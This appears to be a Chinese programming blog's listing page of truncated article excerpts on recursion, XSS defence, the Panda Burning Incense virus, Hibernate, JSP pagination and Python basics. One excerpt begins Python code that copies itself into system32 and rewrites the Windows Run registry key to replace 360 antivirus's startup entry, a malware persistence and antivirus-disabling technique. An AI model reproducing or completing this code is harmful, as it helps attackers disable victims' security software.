- 军军小站|张军博客
搜索到与相关的文章
编程技术

汉诺塔递归解法

汉诺塔的递归算法假设有3个分别命名为X、Y和Z的塔座,在塔座X上插有n个直径大小各不相同、依小到大编号为1、2…n的圆盘。现要求将X轴上的n个圆盘移至塔座Z上并仍按同样顺序叠排,圆盘移动时必须遵守下列规则:1、每次只能移动一个圆盘;2、圆盘可以插在X、Y和Z中任一塔座上;3、任何时刻都不能将一个较大的圆盘压在较小的圆盘之上。递归算法的思路:当n=1时,问题比较简单,只要将编号为1的圆盘从塔座X直接移至塔座Z上即可。当n>1时,需利用塔座Y作辅助塔座,若能设

系统 2019-08-29 22:02:00 1838

编程技术

XSS 前端防火墙 —— 天衣无缝的防护

上一篇讲解了钩子程序的攻防实战,并实现了一套对框架页的监控方案,将防护作用到所有子页面。到目前为止,我们防护的深度已经差不多,但广度还有所欠缺。例如,我们的属性钩子只考虑了setAttribute,却忽视还有类似的setAttributeNode。尽管从来不用这方法,但并不意味人家不能使用。例如,创建元素通常都是createElement,事实上createElementNS同样也可以。甚至还可以利用现成的元素cloneNode,也能达到目的。因此,这些都

系统 2019-08-12 09:30:32 1838

编程技术

三大杀软针对“熊猫烧香”,"科多兽"病毒,以

金山26号就公布了该病毒“熊猫烧香”假慈悲恶意篡改exe文件,该病毒的资料是25号的查看该病毒档案及危害方式,并在28号推出了专杀工具立即下载“武汉男生”(熊猫烧香)病毒专杀工具瑞星虽然11月16号就推出了尼姆亚病毒的专杀,但是它对熊猫烧香病毒是没有任何作用的,而且现在在瑞星首页上找不到任何关于熊猫烧香的新闻,百度一下“熊猫烧香site:rising.com.cn"也没有任何结果。江民,援引它的新闻”12月27日,我国知名计算机反病毒厂商江民科技发布紧急病

系统 2019-08-12 09:30:27 1838

编程技术

Hibernate 3.2.5 annotation介绍及其简单例子

在Hibernate3.2中,引进了Java5的新特性,就是注释配置,替代了我们以前用的*.hbm.xml配置文件,只需在实体类中进行相应的配置来完成Hibernate的映射。正如其他的ORM工具,Hibernate同样需要元数据来控制在不同数据表达形式之间的转化.在Hibernate2.x里,多数情况下表示映射关系的元数据保存在XML文本文件中.还有一种方式就是Xdoclet,它可以在编译时利用Javadoc中的源码注释信息来进行预处理.现在新的JDK标

系统 2019-08-12 09:30:27 1838

编程技术

用jsp进行数据分页显示的一个实现

互联网时代实际上是数据的时代,构建大型电子商务系统必然要涉及到大量数据显示,数据的分页显示是频繁遇到的问题,如果让每个程序员都要考虑数据的获取与处理的每个细节,那必将是件既糟糕又混乱的事情,类似于分页显示这种具有公共特征的控制逻辑必定要在horizonallayer层予以实现本文以循序渐进的方式给出了用jsp处理分页显示的一个可重用,易于移植的实现。如果把与各种商业逻辑实体相对应的数据叫做"实体数据",那么分页显示逻辑要封装的就是控制实体数据的"控制数据"

系统 2019-08-12 09:30:00 1838

编程技术

如何判断账号密码是否为空 登陆按钮点击无效

varnames=document.getElementById("names");varpwds=document.getElementById("pwds");functionsubtton(){if(names.value==""&&names.value.length==0||pwds.value==""&&pwds.value.length==0){returnfalse;}else{returntrue;}}如何判断账号密码是否为空登陆按钮点击

系统 2019-08-12 01:33:43 1838

Python

Python 字典与字符串的互转实例

字典转换为字符串if__name__=='__main__':a={'a':1,'b':2,'c':3}b=str(a)print(type(b))输出结果为:---------------------------------------------------------------字符串转换为字典if__name__=='__main__':a="{'a':1,'b':2,'c':3}"b=eval(a)print(type(b))输出结果为:以上这篇

系统 2019-09-27 17:57:02 1837

Python

Python高级特性之深浅拷贝

深浅拷贝importcopy浅拷贝:copy.copy不可变类型和可变类型都是原列表中的地址深拷贝:copy.deepcopy不可变类型的地址是原列表中的地址可变类型的地址是新生成元素的地址(即独立地址)importcopya=[1,2,[3,4]]#深浅拷贝的区别提现在[3,4]这个子对象b=copy.copy(a)#浅拷贝c=copy.deepcopy(a)#深拷贝a.append(5)a[2].append(6)print('a:',a)print(

系统 2019-09-27 17:56:58 1837

Python

python修改注册表终止360进程实例

本文实例讲述了python修改注册表终止360进程的实现方法。分享给大家供大家参考。具体实现代码如下:import_winregimportosimportshutil#复制自身shutil.copyfile(K3.exe,c:WINDOWSsystem32K3.exe)#把360启动改为自身run=_winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,"SOFTWAREMicrosoftWindowsCurrentVers

系统 2019-09-27 17:55:20 1837

Python

利用Python批量压缩png方法实例(支持过滤个别文件与文件夹)

前言本文主要给大家介绍的关于Python批量压缩png的相关资料,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍:1.需求为什么会有这个需求?是因为游戏的资源大多是png图片,需要压缩,但是有些图片和文件夹里的图片,美术不想压缩,比如一些带透明度的光圈或者游戏的主要元素。所以要过滤下。发现python这个语言比较适合用在这个场景。所以写了点python.2.源码importos,sysimportos.pathrootdir=sys.path

系统 2019-09-27 17:54:16 1837